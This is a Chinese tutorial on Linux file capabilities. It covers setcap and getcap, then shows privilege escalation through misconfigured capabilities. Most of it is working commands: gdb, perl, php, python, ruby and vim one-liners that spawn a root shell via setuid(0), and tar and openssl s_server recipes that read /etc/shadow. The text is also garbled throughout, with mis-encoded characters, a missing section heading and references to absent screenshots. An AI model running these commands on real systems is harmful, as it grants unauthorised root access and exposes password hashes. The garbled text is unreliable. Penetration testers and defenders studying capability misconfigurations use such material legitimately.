您好,登錄后才能下訂單哦!
本篇文章給大家分享的是有關(guān)Linux中怎么利用Capabilities實(shí)現(xiàn)權(quán)限提升,小編覺得挺實(shí)用的,因此分享給大家學(xué)習(xí),希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。
1、 Linux系統(tǒng)管理Capabilities的工具
Linux系統(tǒng)中主要提供了兩種工具來管理capabilities:libcap和libcap-ng。
libcap提供了getcap和setcap兩個(gè)命令來分別查看和設(shè)置文件的capabilities,同時(shí)還提供了capsh來查看當(dāng)前shell進(jìn)程的capabilities。
libcap-ng更易于使用,使用同一個(gè)命令filecap來查看和設(shè)置capabilities。
2、 Capabilities的管理方法
(1)設(shè)置Capability
舉個(gè)例子,安裝wireshark軟件后,默認(rèn)情況下,普通用戶無法對(duì)網(wǎng)卡實(shí)施抓包操作。這是因?yàn)槠胀ㄓ脩舨痪邆湎鄳?yīng)的權(quán)限。
為解決此問題,可以為/usr/bin/dumpcap文件授予抓包相關(guān)的capabilities:
setcap cap_net_raw,cap_net_admin=eip /usr/bin/dumpcap
命令執(zhí)行后重新啟動(dòng)wireshark,就可以抓包了。
(2)查看文件的Capability
getcap /usr/bin/dumpcap //查看文件的capabilities
(3)刪除文件的capabilities
setcap -r /usr/bin/dumpcap
現(xiàn)在假設(shè)管理員對(duì)一些可執(zhí)行文件設(shè)置了capabilities。測(cè)試人員通過下面的命令查找這些文件:
getcap -r / 2>/dev/null
之后我們針對(duì)其中的一部分程序嘗試提權(quán)。
請(qǐng)大家注意,從上面查找結(jié)果中可以看到,很多文件的capability被設(shè)置為cap_setuid。但是文件capabilities中的cap_setuid和文件的suid標(biāo)志位之間是沒有關(guān)系的:
設(shè)置了cap_setuid的capability的文件并沒有設(shè)置suid。
設(shè)置了suid的程序也不擁有cap_setuid的capability。
1、 gdb
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
提權(quán)成功,獲取了root shell。
2、 perl
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
提權(quán)成功,獲取了root shell。
3、 php
php -r "posix_setuid(0); system('/bin/sh');"
在kali linux上提權(quán)成功,獲取了root shell。
在CentOS 7系統(tǒng)中安裝的低版本php無法提權(quán):
4、 python
python -c 'import os; os.setuid(0); os.system("/bin/sh")'
提權(quán)成功,獲取了root shell。
5、 ruby
ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'
提權(quán)成功,獲取了root shell。
6、 rvim
rvim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
執(zhí)行后獲取root shell:
7、 vim
vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
執(zhí)行后獲得root shell:
cap_dac_read_search可以繞過文件的讀權(quán)限檢查以及目錄的讀/執(zhí)行權(quán)限的檢查。
利用此特性我們可以讀取系統(tǒng)中的敏感信息。
tar cvf shadow.tar /etc/shadow //創(chuàng)建壓縮文件
tar -xvf shadow.tar //解壓縮
cd etc //進(jìn)入解壓縮的目錄
chmod +r shadow //賦予讀權(quán)限
cat shadow | grep root //查看shadow文件的內(nèi)容
這樣就讀取了/etc/shadow文件的內(nèi)容,zip等程序也可以達(dá)到相同的目標(biāo),過程不再贅述。
9、 openssl
可以看到,openssl的capability被設(shè)置為空。下面我們嘗試使用openssl讀取/etc/shadow文件。
//使用openssl生成證書
cd /tmp
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
//啟動(dòng)web服務(wù)器,監(jiān)聽1337端口
cd /
openssl s_server -key /tmp/key.pem -cert /tmp/cert.pem -port 1337 -HTTP
//訪問本機(jī)的web服務(wù),讀取/etc/shadow文件
curl -k "https://127.0.0.1:1337/etc/shadow"
以上就是Linux中怎么利用Capabilities實(shí)現(xiàn)權(quán)限提升,小編相信有部分知識(shí)點(diǎn)可能是我們?nèi)粘9ぷ鲿?huì)見到或用到的。希望你能通過這篇文章學(xué)到更多知識(shí)。更多詳情敬請(qǐng)關(guān)注億速云行業(yè)資訊頻道。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。